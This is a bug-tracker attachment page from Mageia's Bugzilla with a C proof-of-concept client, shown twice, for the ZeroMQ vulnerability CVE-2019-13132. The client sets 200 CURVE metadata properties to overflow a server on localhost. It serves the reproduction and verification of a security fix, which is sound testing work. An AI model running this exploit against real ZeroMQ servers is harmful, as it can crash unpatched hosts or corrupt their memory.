Mageia Bugzilla – Attachment 11350 Details for
Bug 25113
zeromq new security issue CVE-2019-13132
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
New Account
|
Forgot Password
Client PoC file
repro3.cc (text/x-csrc), 1.45 KB, created by
Len Lawrence
on 2019-11-09 20:31:35 CET
(
hide
)
Description:
Client PoC file
Filename:
MIME Type:
Creator:
Len Lawrence
Created:
2019-11-09 20:31:35 CET
Size:
1.45 KB
patch
obsolete
>#include <assert.h> >#include <string.h> >#include <zmq.h> >// Hack to get the script to compile >#define ZMQ_METADATA 95 > >int main (int argc, char **argv) >{ > int rc, i; > const char *server_pub = "jEg<HblL9NkkA)j@OnXh*xFQAH)6dq?yiL>okK$R"; > const char *client_pub = "FqI@0.4afwB095HkOWpa88))k&w20WpRBCGif0&n"; > const char *client_pri = "jeA6%eA9cXd6?Ja]-&8?G*:Xz1BR8xxZ</@0b&tj"; > void *ctx = zmq_ctx_new (); > assert (ctx); > void *client = zmq_socket (ctx, ZMQ_PAIR); > assert (client); > > rc = zmq_setsockopt (client, ZMQ_CURVE_SECRETKEY, client_pri, strlen (client_pri)); > assert (rc == 0); > rc = zmq_setsockopt (client, ZMQ_CURVE_PUBLICKEY, client_pub, strlen (client_pub)); > assert (rc == 0); > rc = zmq_setsockopt (client, ZMQ_CURVE_SERVERKEY, server_pub, strlen (server_pub)); > assert (rc == 0); > > for (i = 0; i < 200; ++i) { > char data[sizeof ("X-Property200:ABCDEFG0123456789") + 1]; > sprintf (data, "X-Property%03d:ABCDEFG0123456789", i); > rc = zmq_setsockopt (client, ZMQ_METADATA, data, sizeof (data)); > assert (rc == 0); > } > > rc = zmq_connect(client, "tcp://127.0.0.1:12345"); > assert (rc == 0); > > rc = zmq_send (client, "ABC", 3, 0); > assert (rc == 3); > > zmq_pollitem_t items = {client, 0, ZMQ_POLLIN, 0}; > rc = zmq_poll (&items, 1, -1); > assert (rc == 1); > > rc = zmq_close (client); > assert (rc == 0); > rc = zmq_ctx_destroy (ctx); > assert (rc == 0); > > return 0; >}
#include <assert.h> #include <string.h> #include <zmq.h> // Hack to get the script to compile #define ZMQ_METADATA 95 int main (int argc, char **argv) { int rc, i; const char *server_pub = "jEg<HblL9NkkA)j@OnXh*xFQAH)6dq?yiL>okK$R"; const char *client_pub = "FqI@0.4afwB095HkOWpa88))k&w20WpRBCGif0&n"; const char *client_pri = "jeA6%eA9cXd6?Ja]-&8?G*:Xz1BR8xxZ</@0b&tj"; void *ctx = zmq_ctx_new (); assert (ctx); void *client = zmq_socket (ctx, ZMQ_PAIR); assert (client); rc = zmq_setsockopt (client, ZMQ_CURVE_SECRETKEY, client_pri, strlen (client_pri)); assert (rc == 0); rc = zmq_setsockopt (client, ZMQ_CURVE_PUBLICKEY, client_pub, strlen (client_pub)); assert (rc == 0); rc = zmq_setsockopt (client, ZMQ_CURVE_SERVERKEY, server_pub, strlen (server_pub)); assert (rc == 0); for (i = 0; i < 200; ++i) { char data[sizeof ("X-Property200:ABCDEFG0123456789") + 1]; sprintf (data, "X-Property%03d:ABCDEFG0123456789", i); rc = zmq_setsockopt (client, ZMQ_METADATA, data, sizeof (data)); assert (rc == 0); } rc = zmq_connect(client, "tcp://127.0.0.1:12345"); assert (rc == 0); rc = zmq_send (client, "ABC", 3, 0); assert (rc == 3); zmq_pollitem_t items = {client, 0, ZMQ_POLLIN, 0}; rc = zmq_poll (&items, 1, -1); assert (rc == 1); rc = zmq_close (client); assert (rc == 0); rc = zmq_ctx_destroy (ctx); assert (rc == 0); return 0; }
View Attachment As Raw
Actions:
View
Attachments on
bug 25113
:
11348
|
11349
| 11350